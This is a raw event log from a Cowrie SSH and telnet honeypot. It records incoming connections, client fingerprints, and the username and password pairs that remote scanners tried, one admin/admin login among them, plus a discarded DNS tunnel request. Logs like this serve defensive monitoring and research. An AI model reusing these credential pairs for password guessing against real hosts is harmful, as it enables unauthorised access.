{"eventid":"cowrie.session.closed","duration":120.00268054008484,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:35.763338Z","src_ip":"152.42.224.71","session":"98ce381c5b8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38860,"dst_ip":"10.17.0.5","dst_port":23,"session":"4048a0ec5790","protocol":"telnet","message":"New connection: 152.42.224.71:38860 (10.17.0.5:23) [session: 4048a0ec5790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:39.000308Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49490,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6f5ed365158","protocol":"telnet","message":"New connection: 152.42.224.71:49490 (10.17.0.5:23) [session: e6f5ed365158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:54.258926Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":34030,"dst_ip":"10.17.0.5","dst_port":22,"session":"1727aaf244bc","protocol":"ssh","message":"New connection: 43.153.50.142:34030 (10.17.0.5:22) [session: 1727aaf244bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:57.036933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:57.042020Z","src_ip":"43.153.50.142","session":"1727aaf244bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:57.109425Z","src_ip":"43.153.50.142","session":"1727aaf244bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"12345678","message":"login attempt [www/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:57.414723Z","src_ip":"43.153.50.142","session":"1727aaf244bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:58.499061Z","src_ip":"43.153.50.142","session":"1727aaf244bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.445902824401855,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:02.446041Z","src_ip":"152.42.224.71","session":"4048a0ec5790","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27082,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8f7b22cbff3","protocol":"ssh","message":"New connection: 87.251.64.176:27082 (10.17.0.5:22) [session: a8f7b22cbff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:07.890190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:07.898825Z","src_ip":"87.251.64.176","session":"a8f7b22cbff3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:07.997467Z","src_ip":"87.251.64.176","session":"a8f7b22cbff3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:08.300027Z","src_ip":"87.251.64.176","session":"a8f7b22cbff3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:08.405902Z","session":"a8f7b22cbff3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:08.503914Z","src_ip":"87.251.64.176","session":"a8f7b22cbff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.68792748451233,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:08.698050Z","src_ip":"152.42.224.71","session":"81961a990c96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:08.738282Z","src_ip":"87.251.64.176","session":"a8f7b22cbff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.83767342567444,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:17.154018Z","src_ip":"152.42.224.71","session":"35d0eaa7b764","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.621065378189087,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:21.879875Z","src_ip":"152.42.224.71","session":"e6f5ed365158","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":39566,"dst_ip":"159.203.135.109","dst_port":22,"session":"307b1f75e3c2","protocol":"ssh","message":"New connection: 193.37.70.224:39566 (159.203.135.109:22) [session: 307b1f75e3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:23.705551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:23.710223Z","src_ip":"193.37.70.224","session":"307b1f75e3c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:23.870135Z","src_ip":"193.37.70.224","session":"307b1f75e3c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:24.347753Z","src_ip":"193.37.70.224","session":"307b1f75e3c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:25.850640Z","src_ip":"193.37.70.224","session":"307b1f75e3c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":44804,"dst_ip":"10.17.0.5","dst_port":22,"session":"05ce445bb4dd","protocol":"ssh","message":"New connection: 176.32.39.21:44804 (10.17.0.5:22) [session: 05ce445bb4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:33.470706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:33.479415Z","src_ip":"176.32.39.21","session":"05ce445bb4dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:33.600061Z","src_ip":"176.32.39.21","session":"05ce445bb4dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sojdlg123aljg","message":"login attempt [root/sojdlg123aljg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:33.960715Z","src_ip":"176.32.39.21","session":"05ce445bb4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:35.084434Z","src_ip":"176.32.39.21","session":"05ce445bb4dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":32532,"dst_ip":"10.17.0.5","dst_port":22,"session":"23ab09ac824f","protocol":"ssh","message":"New connection: 141.11.21.145:32532 (10.17.0.5:22) [session: 23ab09ac824f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:39.716626Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:39.797185Z","src_ip":"141.11.21.145","session":"23ab09ac824f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":32536,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf7cb7e883fc","protocol":"ssh","message":"New connection: 141.11.21.145:32536 (10.17.0.5:22) [session: cf7cb7e883fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:39.873831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:39.878660Z","src_ip":"141.11.21.145","session":"cf7cb7e883fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:39.958324Z","src_ip":"141.11.21.145","session":"cf7cb7e883fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kernel","message":"login attempt [root/Kernel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:40.201371Z","src_ip":"141.11.21.145","session":"cf7cb7e883fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":38474,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8e242422c32","protocol":"ssh","message":"New connection: 43.153.65.139:38474 (10.17.0.5:22) [session: a8e242422c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:40.271770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:40.276340Z","src_ip":"43.153.65.139","session":"a8e242422c32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:40.344426Z","src_ip":"43.153.65.139","session":"a8e242422c32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sangoma","password":"Itsemoemo2026@Washere2026","message":"login attempt [sangoma/Itsemoemo2026@Washere2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:40.647371Z","src_ip":"43.153.65.139","session":"a8e242422c32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:41.283336Z","src_ip":"141.11.21.145","session":"cf7cb7e883fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:41.718135Z","src_ip":"43.153.65.139","session":"a8e242422c32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":43596,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4a71351ad08","protocol":"ssh","message":"New connection: 39.117.79.36:43596 (10.17.0.5:22) [session: b4a71351ad08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:44.201371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:44.205568Z","src_ip":"39.117.79.36","session":"b4a71351ad08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:44.402094Z","src_ip":"39.117.79.36","session":"b4a71351ad08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpusers","password":"ftpusers","message":"login attempt [ftpusers/ftpusers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:45.227223Z","src_ip":"39.117.79.36","session":"b4a71351ad08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:46.427909Z","src_ip":"39.117.79.36","session":"b4a71351ad08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":101.75934386253357,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:55:49.429801Z","src_ip":"152.42.224.71","session":"641001b9d4e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44686,"dst_ip":"10.17.0.5","dst_port":23,"session":"d92a82bb7c9b","protocol":"telnet","message":"New connection: 152.42.224.71:44686 (10.17.0.5:23) [session: d92a82bb7c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:56:01.202855Z"}
